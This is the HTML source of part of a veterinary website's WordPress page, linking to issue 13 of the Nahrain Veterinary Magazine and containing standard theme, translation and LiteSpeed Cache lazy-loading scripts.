<img decoding="async" width="1835" height="2560" src="https://nahrainveterinary.com/wp-content/uploads/2026/06/NAHRIN-VI-MAGAZINE-13.indd-NEW-scaled.jpg" class="attachment-full size-full lazyload wp-post-image" alt="" srcset="data:image/svg+xml,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20width%3D%271835%27%20height%3D%272560%27%20viewBox%3D%270%200%201835%202560%27%3E%3Crect%20width%3D%271835%27%20height%3D%272560%27%20fill-opacity%3D%220%22%2F%3E%3C%2Fsvg%3E" data-orig-src="https://nahrainveterinary.com/wp-content/uploads/2026/06/NAHRIN-VI-MAGAZINE-13.indd-NEW-scaled.jpg" data-srcset="https://nahrainveterinary.com/wp-content/uploads/2026/06/NAHRIN-VI-MAGAZINE-13.indd-NEW-200x279.jpg 200w, https://nahrainveterinary.com/wp-content/uploads/2026/06/NAHRIN-VI-MAGAZINE-13.indd-NEW-400x558.jpg 400w, https://nahrainveterinary.com/wp-content/uploads/2026/06/NAHRIN-VI-MAGAZINE-13.indd-NEW-600x837.jpg 600w, https://nahrainveterinary.com/wp-content/uploads/2026/06/NAHRIN-VI-MAGAZINE-13.indd-NEW-800x1116.jpg 800w, https://nahrainveterinary.com/wp-content/uploads/2026/06/NAHRIN-VI-MAGAZINE-13.indd-NEW-1200x1675.jpg 1200w, https://nahrainveterinary.com/wp-content/uploads/2026/06/NAHRIN-VI-MAGAZINE-13.indd-NEW-scaled.jpg 1835w" data-sizes="auto" />			</a></div></div></div></div><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-25 fusion-flex-column" style="--awb-padding-left:10px;--awb-padding-right-small:20px;--awb-padding-left-small:20px;--awb-bg-size:cover;--awb-width-large:60%;--awb-margin-top-large:0px;--awb-spacing-right-large:3.9583333333333%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:3.9583333333333%;--awb-width-medium:60%;--awb-order-medium:0;--awb-spacing-right-medium:3.9583333333333%;--awb-spacing-left-medium:3.9583333333333%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-title title fusion-title-16 fusion-sep-none fusion-title-text fusion-title-size-six" style="--awb-margin-top:0px;--awb-margin-bottom:0px;--awb-margin-top-small:25px;--awb-margin-right-small:0px;--awb-margin-bottom-small:10px;--awb-margin-left-small:0px;--awb-link-color:var(--awb-color8);--awb-link-hover-color:var(--awb-color4);"><h6 class="fusion-title-heading title-heading-left" style="margin:0;text-transform:capitalize;"><a href="https://nahrainveterinary.com/nahrain-veterinary-magazine-no-13-%d9%85%d8%ac%d9%84%d8%a9-%d8%a7%d9%84%d9%86%d9%87%d8%b1%db%8c%d9%86-%d8%a7%d9%84%d8%a8%db%8c%d8%b7%d8%b1%db%8c%d8%a9/" class="awb-custom-text-color awb-custom-text-hover-color" target="_self">nahrain veterinary magazine no. 13  مجلة النهرین البیطریة</a></h6></div><div class="fusion-meta-tb fusion-meta-tb-3 floated" style="--awb-border-bottom:0px;--awb-border-top:0px;--awb-height:44px;--awb-text-color:var(--awb-color5);--awb-link-color:var(--awb-color4);--awb-alignment-medium:flex-start;--awb-alignment-small:flex-start;"><span class="fusion-tb-categories">Categories: <a href="https://nahrainveterinary.com/category/magazine/" rel="category tag">Magazine</a>, <a href="https://nahrainveterinary.com/category/news/" rel="category tag">News</a></span><span class="fusion-meta-tb-sep"></span></div></div></div></div></div></li></ul></div></div></div><div class="fusion-layout-column fusion_builder_column fusion-builder-column-26 fusion_builder_column_1_1 1_1 fusion-flex-column" style="--awb-padding-right:15px;--awb-padding-left:15px;--awb-padding-right-small:0px;--awb-padding-left-small:0px;--awb-bg-size:cover;--awb-width-large:100%;--awb-flex-grow:0;--awb-flex-shrink:0;--awb-margin-top-large:35px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-flex-grow-medium:;--awb-flex-shrink-medium:;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-flex-grow-small:;--awb-flex-shrink-small:;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-title title fusion-title-17 fusion-title-text fusion-title-size-five" style="--awb-margin-bottom:25px;--awb-margin-top-small:10px;--awb-margin-right-small:0px;--awb-margin-bottom-small:40px;--awb-margin-left-small:0px;"><div class="title-sep-container title-sep-container-left fusion-no-large-visibility fusion-no-medium-visibility fusion-no-small-visibility"><div class="title-sep sep-single sep-solid" style="border-color:var(--awb-color3);"></div></div><span class="awb-title-spacer fusion-no-large-visibility fusion-no-medium-visibility fusion-no-small-visibility"></span><h5 class="fusion-title-heading title-heading-left" style="margin:0;text-transform:capitalize;">get connected</h5><span class="awb-title-spacer"></span><div class="title-sep-container title-sep-container-right"><div class="title-sep sep-single sep-solid" style="border-color:var(--awb-color3);"></div></div></div><div class="fusion-social-links fusion-social-links-2" style="--awb-margin-top:0px;--awb-margin-right:0px;--awb-margin-bottom:0px;--awb-margin-left:0px;--awb-box-border-top:0px;--awb-box-border-right:0px;--awb-box-border-bottom:0px;--awb-box-border-left:0px;--awb-box-padding-top:12px;--awb-box-padding-right:12px;--awb-box-padding-bottom:12px;--awb-box-padding-left:12px;--awb-icon-colors-hover:var(--awb-color1);--awb-box-colors-hover:var(--awb-color4);--awb-box-border-color:var(--awb-color3);--awb-box-border-color-hover:var(--awb-color4);"><div class="fusion-social-networks boxed-icons color-type-custom"><div class="fusion-social-networks-wrapper"><a class="fusion-social-network-icon fusion-tooltip fusion-facebook awb-icon-facebook" style="color:var(--awb-color5);font-size:16px;width:16px;background-color:var(--awb-color2);border-color:var(--awb-color2);border-radius:50px;" data-placement="top" data-title="Facebook" data-toggle="tooltip" title="Facebook" aria-label="facebook" target="_blank" rel="noopener noreferrer" href="https://www.facebook.com/profile.php?id=100091268997884"></a><a class="fusion-social-network-icon fusion-tooltip fusion-twitter awb-icon-twitter" style="color:var(--awb-color5);font-size:16px;width:16px;background-color:var(--awb-color2);border-color:var(--awb-color2);border-radius:50px;" data-placement="top" data-title="X" data-toggle="tooltip" title="X" aria-label="twitter" target="_blank" rel="noopener noreferrer" href="https://twitter.com/nahrainvet04"></a></div></div></div></div></div><div class="fusion-layout-column fusion_builder_column fusion-builder-column-27 fusion_builder_column_1_1 1_1 fusion-flex-column" style="--awb-padding-right:15px;--awb-padding-left:15px;--awb-bg-size:cover;--awb-width-large:100%;--awb-flex-grow:0;--awb-flex-shrink:0;--awb-margin-top-large:35px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-flex-grow-medium:;--awb-flex-shrink-medium:;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-flex-grow-small:;--awb-flex-shrink-small:;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"></div></div></div></div></div></div></div></div><script type="litespeed/javascript">window.off_canvas_1684={"type":"sliding-bar","width":"500px","width_medium":"","width_small":"","height":"full","custom_height":"","custom_height_medium":"","custom_height_small":"","horizontal_position":"flex-end","horizontal_position_medium":"","horizontal_position_small":"","vertical_position":"flex-end","vertical_position_medium":"","vertical_position_small":"","content_layout":"column","align_content":"flex-start","valign_content":"flex-start","content_wrap":"wrap","enter_animation":"slideShort","enter_animation_direction":"right","enter_animation_speed":0.5,"enter_animation_timing":"ease","exit_animation":"slideShort","exit_animation_direction":"right","exit_animation_speed":0.5,"exit_animation_timing":"ease","off_canvas_state":"closed","sb_height":"","position":"right","transition":"push","css_class":"","css_id":"","sb_enter_animation":"slideShort","sb_enter_animation_speed":0.5,"sb_enter_animation_timing":"ease","sb_exit_animation":"slideShort","sb_exit_animation_speed":0.5,"sb_exit_animation_timing":"ease","background_color":"#ffffff","background_image":"","background_position":"left top","background_repeat":"repeat","background_size":"","background_custom_size":"","background_blend_mode":"none","oc_scrollbar":"hidden","oc_scrollbar_background":"#f2f3f5","oc_scrollbar_handle_color":"#65bc7b","margin":"","padding":"","box_shadow":"no","box_shadow_position":"","box_shadow_blur":"0","box_shadow_spread":"0","box_shadow_color":"","border_radius":"","border_width":"","border_color":"","overlay":"yes","overlay_z_index":"","overlay_page_scrollbar":"yes","overlay_background_color":"rgba(0,0,0,0.8)","overlay_background_image":"","overlay_background_position":"left top","overlay_background_repeat":"repeat","overlay_background_size":"","overlay_background_custom_size":"","overlay_background_blend_mode":"none","overlay_close_on_click":"yes","close_on_anchor_click":"no","close_on_esc":"yes","auto_close_after_time":"","close_button":"yes","close_button_position":"right","show_close_button_after_time":"","close_button_margin":"","close_button_color":"","close_button_color_hover":"","close_icon_size":"16","close_button_custom_icon":"","on_page_load":"no","time_on_page":"no","time_on_page_duration":"","on_scroll":"no","scroll_direction":"up","scroll_to":"position","scroll_position":"","scroll_element":"","on_click":"no","on_click_element":"","exit_intent":"no","after_inactivity":"no","inactivity_duration":"","on_add_to_cart":"no","publish_date_after":"","publish_date_until":"","frequency":"forever","frequency_xtimes":"","frequency_xdays":"","after_x_page_views":"no","number_of_page_views":"","after_x_sessions":"no","number_of_sessions":"","when_arriving_from":"","until_consent_interaction":"none","users":"all","users_roles":"","device":"","status_css_animations":"desktop","main_padding":{"top":""},"has_js_rules":!1}</script><template id="tp-language" data-tp-language="en_US"></template><script type="litespeed/javascript">var fusionNavIsCollapsed=function(e){var t,n;window.innerWidth<=e.getAttribute("data-breakpoint")?(e.classList.add("collapse-enabled"),e.classList.remove("awb-menu_desktop"),e.classList.contains("expanded")||window.dispatchEvent(new CustomEvent("fusion-mobile-menu-collapsed",{detail:{nav:e}})),(n=e.querySelectorAll(".menu-item-has-children.expanded")).length&&n.forEach(function(e){e.querySelector(".awb-menu__open-nav-submenu_mobile").setAttribute("aria-expanded","false")})):(null!==e.querySelector(".menu-item-has-children.expanded .awb-menu__open-nav-submenu_click")&&e.querySelector(".menu-item-has-children.expanded .awb-menu__open-nav-submenu_click").click(),e.classList.remove("collapse-enabled"),e.classList.add("awb-menu_desktop"),null!==e.querySelector(".awb-menu__main-ul")&&e.querySelector(".awb-menu__main-ul").removeAttribute("style")),e.classList.add("no-wrapper-transition"),clearTimeout(t),t=setTimeout(()=>{e.classList.remove("no-wrapper-transition")},400),e.classList.remove("loading")},fusionRunNavIsCollapsed=function(){var e,t=document.querySelectorAll(".awb-menu");for(e=0;e<t.length;e++)fusionNavIsCollapsed(t[e])};function avadaGetScrollBarWidth(){var e,t,n,l=document.createElement("p");return l.style.width="100%",l.style.height="200px",(e=document.createElement("div")).style.position="absolute",e.style.top="0px",e.style.left="0px",e.style.visibility="hidden",e.style.width="200px",e.style.height="150px",e.style.overflow="hidden",e.appendChild(l),document.body.appendChild(e),t=l.offsetWidth,e.style.overflow="scroll",t==(n=l.offsetWidth)&&(n=e.clientWidth),document.body.removeChild(e),jQuery("html").hasClass("awb-scroll")&&10<t-n?10:t-n}fusionRunNavIsCollapsed(),window.addEventListener("fusion-resize-horizontal",fusionRunNavIsCollapsed)</script><script type="speculationrules">{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Avada-Child-Theme/*","/wp-content/themes/Avada/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}</script> <div id="trp-floater-ls" onclick="" data-no-translation class="trp-language-switcher-container trp-floater-ls-codes trp-top-right trp-color-dark short-names" ><div id="trp-floater-ls-current-language" class=""><a href="#" class="trp-floater-ls-disabled-language trp-ls-disabled-language" onclick="event.preventDefault()">
EN				</a></div><div id="trp-floater-ls-language-list" class="" ><div class="trp-language-wrap trp-language-wrap-top"><a href="#" class="trp-floater-ls-disabled-language trp-ls-disabled-language" onclick="event.preventDefault()">EN</a>                    <a href="https://nahrainveterinary.com/ar/author/pmdiyar/page/2/"
title="العربية">
AR					          </a></div></div></div> <script id="jquery-core-js" type="litespeed/javascript" data-src="https://nahrainveterinary.com/wp-includes/js/jquery/jquery.min.js"></script> <script type="litespeed/javascript">jQuery(document).ready(function(){var ajaxurl='https://nahrainveterinary.com/wp-admin/admin-ajax.php';if(0<jQuery('.fusion-login-nonce').length){jQuery.get(ajaxurl,{'action':'fusion_login_nonce'},function(response){jQuery('.fusion-login-nonce').html(response)})}})</script> <script type="application/ld+json">{"@context":"https:\/\/schema.org","@type":"NewsArticle","headline":"nahrain veterinary magazine no. 13  \u0645\u062c\u0644\u0629 \u0627\u0644\u0646\u0647\u0631\u06cc\u0646 \u0627\u0644\u0628\u06cc\u0637\u0631\u06cc\u0629"}</script> </div><section class="to-top-container to-top-right" aria-labelledby="awb-to-top-label">
<a href="#" id="toTop" class="fusion-top-top-link">
<span id="awb-to-top-label" class="screen-reader-text">Go to Top</span></a></section> <script data-no-optimize="1">window.lazyLoadOptions=Object.assign({},{threshold:300},window.lazyLoadOptions||{});!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t||self).LazyLoad=e()}(this,function(){"use strict";function e(){return(e=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var n,a=arguments[e];for(n in a)Object.prototype.hasOwnProperty.call(a,n)&&(t[n]=a[n])}return t}).apply(this,arguments)}function o(t){return e({},at,t)}function l(t,e){return t.getAttribute(gt+e)}function c(t){return l(t,vt)}function s(t,e){return function(t,e,n){e=gt+e;null!==n?t.setAttribute(e,n):t.removeAttribute(e)}(t,vt,e)}function i(t){return s(t,null),0}function r(t){return null===c(t)}function u(t){return c(t)===_t}function d(t,e,n,a){t&&(void 0===a?void 0===n?t(e):t(e,n):t(e,n,a))}function f(t,e){et?t.classList.add(e):t.className+=(t.className?" ":"")+e}function _(t,e){et?t.classList.remove(e):t.className=t.className.replace(new RegExp("(^|\\s+)"+e+"(\\s+|$)")," ").replace(/^\s+/,"").replace(/\s+$/,"")}function g(t){return t.llTempImage}function v(t,e){!e||(e=e._observer)&&e.unobserve(t)}function b(t,e){t&&(t.loadingCount+=e)}function p(t,e){t&&(t.toLoadCount=e)}function n(t){for(var e,n=[],a=0;e=t.children[a];a+=1)"SOURCE"===e.tagName&&n.push(e);return n}function h(t,e){(t=t.parentNode)&&"PICTURE"===t.tagName&&n(t).forEach(e)}function a(t,e){n(t).forEach(e)}function m(t){return!!t[lt]}function E(t){return t[lt]}function I(t){return delete t[lt]}function y(e,t){var n;m(e)||(n={},t.forEach(function(t){n[t]=e.getAttribute(t)}),e[lt]=n)}function L(a,t){var o;m(a)&&(o=E(a),t.forEach(function(t){var e,n;e=a,(t=o[n=t])?e.setAttribute(n,t):e.removeAttribute(n)}))}function k(t,e,n){f(t,e.class_loading),s(t,st),n&&(b(n,1),d(e.callback_loading,t,n))}function A(t,e,n){n&&t.setAttribute(e,n)}function O(t,e){A(t,rt,l(t,e.data_sizes)),A(t,it,l(t,e.data_srcset)),A(t,ot,l(t,e.data_src))}function w(t,e,n){var a=l(t,e.data_bg_multi),o=l(t,e.data_bg_multi_hidpi);(a=nt&&o?o:a)&&(t.style.backgroundImage=a,n=n,f(t=t,(e=e).class_applied),s(t,dt),n&&(e.unobserve_completed&&v(t,e),d(e.callback_applied,t,n)))}function x(t,e){!e||0<e.loadingCount||0<e.toLoadCount||d(t.callback_finish,e)}function M(t,e,n){t.addEventListener(e,n),t.llEvLisnrs[e]=n}function N(t){return!!t.llEvLisnrs}function z(t){if(N(t)){var e,n,a=t.llEvLisnrs;for(e in a){var o=a[e];n=e,o=o,t.removeEventListener(n,o)}delete t.llEvLisnrs}}function C(t,e,n){var a;delete t.llTempImage,b(n,-1),(a=n)&&--a.toLoadCount,_(t,e.class_loading),e.unobserve_completed&&v(t,n)}function R(i,r,c){var l=g(i)||i;N(l)||function(t,e,n){N(t)||(t.llEvLisnrs={});var a="VIDEO"===t.tagName?"loadeddata":"load";M(t,a,e),M(t,"error",n)}(l,function(t){var e,n,a,o;n=r,a=c,o=u(e=i),C(e,n,a),f(e,n.class_loaded),s(e,ut),d(n.callback_loaded,e,a),o||x(n,a),z(l)},function(t){var e,n,a,o;n=r,a=c,o=u(e=i),C(e,n,a),f(e,n.class_error),s(e,ft),d(n.callback_error,e,a),o||x(n,a),z(l)})}function T(t,e,n){var a,o,i,r,c;t.llTempImage=document.createElement("IMG"),R(t,e,n),m(c=t)||(c[lt]={backgroundImage:c.style.backgroundImage}),i=n,r=l(a=t,(o=e).data_bg),c=l(a,o.data_bg_hidpi),(r=nt&&c?c:r)&&(a.style.backgroundImage='url("'.concat(r,'")'),g(a).setAttribute(ot,r),k(a,o,i)),w(t,e,n)}function G(t,e,n){var a;R(t,e,n),a=e,e=n,(t=Et[(n=t).tagName])&&(t(n,a),k(n,a,e))}function D(t,e,n){var a;a=t,(-1<It.indexOf(a.tagName)?G:T)(t,e,n)}function S(t,e,n){var a;t.setAttribute("loading","lazy"),R(t,e,n),a=e,(e=Et[(n=t).tagName])&&e(n,a),s(t,_t)}function V(t){t.removeAttribute(ot),t.removeAttribute(it),t.removeAttribute(rt)}function j(t){h(t,function(t){L(t,mt)}),L(t,mt)}function F(t){var e;(e=yt[t.tagName])?e(t):m(e=t)&&(t=E(e),e.style.backgroundImage=t.backgroundImage)}function P(t,e){var n;F(t),n=e,r(e=t)||u(e)||(_(e,n.class_entered),_(e,n.class_exited),_(e,n.class_applied),_(e,n.class_loading),_(e,n.class_loaded),_(e,n.class_error)),i(t),I(t)}function U(t,e,n,a){var o;n.cancel_on_exit&&(c(t)!==st||"IMG"===t.tagName&&(z(t),h(o=t,function(t){V(t)}),V(o),j(t),_(t,n.class_loading),b(a,-1),i(t),d(n.callback_cancel,t,e,a)))}function $(t,e,n,a){var o,i,r=(i=t,0<=bt.indexOf(c(i)));s(t,"entered"),f(t,n.class_entered),_(t,n.class_exited),o=t,i=a,n.unobserve_entered&&v(o,i),d(n.callback_enter,t,e,a),r||D(t,n,a)}function q(t){return t.use_native&&"loading"in HTMLImageElement.prototype}function H(t,o,i){t.forEach(function(t){return(a=t).isIntersecting||0<a.intersectionRatio?$(t.target,t,o,i):(e=t.target,n=t,a=o,t=i,void(r(e)||(f(e,a.class_exited),U(e,n,a,t),d(a.callback_exit,e,n,t))));var e,n,a})}function B(e,n){var t;tt&&!q(e)&&(n._observer=new IntersectionObserver(function(t){H(t,e,n)},{root:(t=e).container===document?null:t.container,rootMargin:t.thresholds||t.threshold+"px"}))}function J(t){return Array.prototype.slice.call(t)}function K(t){return t.container.querySelectorAll(t.elements_selector)}function Q(t){return c(t)===ft}function W(t,e){return e=t||K(e),J(e).filter(r)}function X(e,t){var n;(n=K(e),J(n).filter(Q)).forEach(function(t){_(t,e.class_error),i(t)}),t.update()}function t(t,e){var n,a,t=o(t);this._settings=t,this.loadingCount=0,B(t,this),n=t,a=this,Y&&window.addEventListener("online",function(){X(n,a)}),this.update(e)}var Y="undefined"!=typeof window,Z=Y&&!("onscroll"in window)||"undefined"!=typeof navigator&&/(gle|ing|ro)bot|crawl|spider/i.test(navigator.userAgent),tt=Y&&"IntersectionObserver"in window,et=Y&&"classList"in document.createElement("p"),nt=Y&&1<window.devicePixelRatio,at={elements_selector:".lazy",container:Z||Y?document:null,threshold:300,thresholds:null,data_src:"src",data_srcset:"srcset",data_sizes:"sizes",data_bg:"bg",data_bg_hidpi:"bg-hidpi",data_bg_multi:"bg-multi",data_bg_multi_hidpi:"bg-multi-hidpi",data_poster:"poster",class_applied:"applied",class_loading:"litespeed-loading",class_loaded:"litespeed-loaded",class_error:"error",class_entered:"entered",class_exited:"exited",unobserve_completed:!0,unobserve_entered:!1,cancel_on_exit:!0,callback_enter:null,callback_exit:null,callback_applied:null,callback_loading:null,callback_loaded:null,callback_error:null,callback_finish:null,callback_cancel:null,use_native:!1},ot="src",it="srcset",rt="sizes",ct="poster",lt="llOriginalAttrs",st="loading",ut="loaded",dt="applied",ft="error",_t="native",gt="data-",vt="ll-status",bt=[st,ut,dt,ft],pt=[ot],ht=[ot,ct],mt=[ot,it,rt],Et={IMG:function(t,e){h(t,function(t){y(t,mt),O(t,e)}),y(t,mt),O(t,e)},IFRAME:function(t,e){y(t,pt),A(t,ot,l(t,e.data_src))},VIDEO:function(t,e){a(t,function(t){y(t,pt),A(t,ot,l(t,e.data_src))}),y(t,ht),A(t,ct,l(t,e.data_poster)),A(t,ot,l(t,e.data_src)),t.load()}},It=["IMG","IFRAME","VIDEO"],yt={IMG:j,IFRAME:function(t){L(t,pt)},VIDEO:function(t){a(t,function(t){L(t,pt)}),L(t,ht),t.load()}},Lt=["IMG","IFRAME","VIDEO"];return t.prototype={update:function(t){var e,n,a,o=this._settings,i=W(t,o);{if(p(this,i.length),!Z&&tt)return q(o)?(e=o,n=this,i.forEach(function(t){-1!==Lt.indexOf(t.tagName)&&S(t,e,n)}),void p(n,0)):(t=this._observer,o=i,t.disconnect(),a=t,void o.forEach(function(t){a.observe(t)}));this.loadAll(i)}},destroy:function(){this._observer&&this._observer.disconnect(),K(this._settings).forEach(function(t){I(t)}),delete this._observer,delete this._settings,delete this.loadingCount,delete this.toLoadCount},loadAll:function(t){var e=this,n=this._settings;W(t,n).forEach(function(t){v(t,e),D(t,n,e)})},restoreAll:function(){var e=this._settings;K(e).forEach(function(t){P(t,e)})}},t.load=function(t,e){e=o(e);D(t,e)},t.resetStatus=function(t){i(t)},t}),function(t,e){"use strict";function n(){e.body.classList.add("litespeed_lazyloaded")}function a(){console.log("[LiteSpeed] Start Lazy Load"),o=new LazyLoad(Object.assign({},t.lazyLoadOptions||{},{elements_selector:"[data-lazyloaded]",callback_finish:n})),i=function(){o.update()},t.MutationObserver&&new MutationObserver(i).observe(e.documentElement,{childList:!0,subtree:!0,attributes:!0})}var o,i;t.addEventListener?t.addEventListener("load",a,!1):t.attachEvent("onload",a)}(window,document);</script><script data-no-optimize="1">window.litespeed_ui_events=window.litespeed_ui_events||["mouseover","click","keydown","wheel","touchmove","touchstart","pointerup","pointerdown"];var urlCreator=window.URL||window.webkitURL;function litespeed_load_delayed_js_force(){console.log("[LiteSpeed] Start Load JS Delayed"),litespeed_ui_events.forEach(e=>{window.removeEventListener(e,litespeed_load_delayed_js_force,{passive:!0})}),document.querySelectorAll("iframe[data-litespeed-src]").forEach(e=>{e.setAttribute("src",e.getAttribute("data-litespeed-src"))}),"loading"==document.readyState?window.addEventListener("DOMContentLoaded",litespeed_load_delayed_js):litespeed_load_delayed_js()}litespeed_ui_events.forEach(e=>{window.addEventListener(e,litespeed_load_delayed_js_force,{passive:!0})});async function litespeed_load_delayed_js(){let t=[];for(var d in document.querySelectorAll('script[type="litespeed/javascript"]').forEach(e=>{t.push(e)}),t)await new Promise(e=>litespeed_load_one(t[d],e));document.dispatchEvent(new Event("DOMContentLiteSpeedLoaded")),window.dispatchEvent(new Event("DOMContentLiteSpeedLoaded"))}function litespeed_load_one(t,e){console.log("[LiteSpeed] Load ",t);function d(){o.src.startsWith("blob:")&&URL.revokeObjectURL(o.src),e()}var o=document.createElement("script");o.addEventListener("load",d),o.addEventListener("error",d),t.getAttributeNames().forEach(e=>{"type"!=e&&o.setAttribute("data-src"==e?"src":e,t.getAttribute(e))}),o.type="text/javascript",!o.src&&t.textContent&&(o.src=litespeed_inline2src(t.textContent)),t.after(o),t.remove()}function litespeed_inline2src(t){try{var d=urlCreator.createObjectURL(new Blob([t.replace(/^(?:<!--)?(.*?)(?:-->)?$/gm,"$1")],{type:"text/javascript"}))}catch(e){d="data:text/javascript;base64,"+btoa(t.replace(/^(?:<!--)?(.*?)(?:-->)?$/gm,"$1"))}return d}</script><script data-no-optimize="1">var litespeed_vary=document.cookie.replace(/(?:(?:^|.*;\s*)_lscache_vary\s*\=\s*([^;]*).*$)|^.*$/,"");litespeed_vary||(sessionStorage.getItem("litespeed_reloaded")?console.log("LiteSpeed: skipping guest vary reload (already reloaded this session)"):fetch("/wp-content/plugins/litespeed-cache/guest.vary.php",{method:"POST",cache:"no-cache",redirect:"follow"}).then(e=>e.json()).then(e=>{console.log(e),e.hasOwnProperty("reload")&&"yes"==e.reload&&(sessionStorage.setItem("litespeed_docref",document.referrer),sessionStorage.setItem("litespeed_reloaded","1"),window.location.reload(!0))}));</script><script data-optimized="1" type="litespeed/javascript" data-src="https://nahrainveterinary.com/wp-content/litespeed/js/caf9c9f59bfe211d2b34c650f1232566.js?ver=b5c86"></script></body></html>
<!-- Page optimized by LiteSpeed Cache @2026-09-19 12:57:32 -->
<!-- QUIC.cloud UCSS in queue -->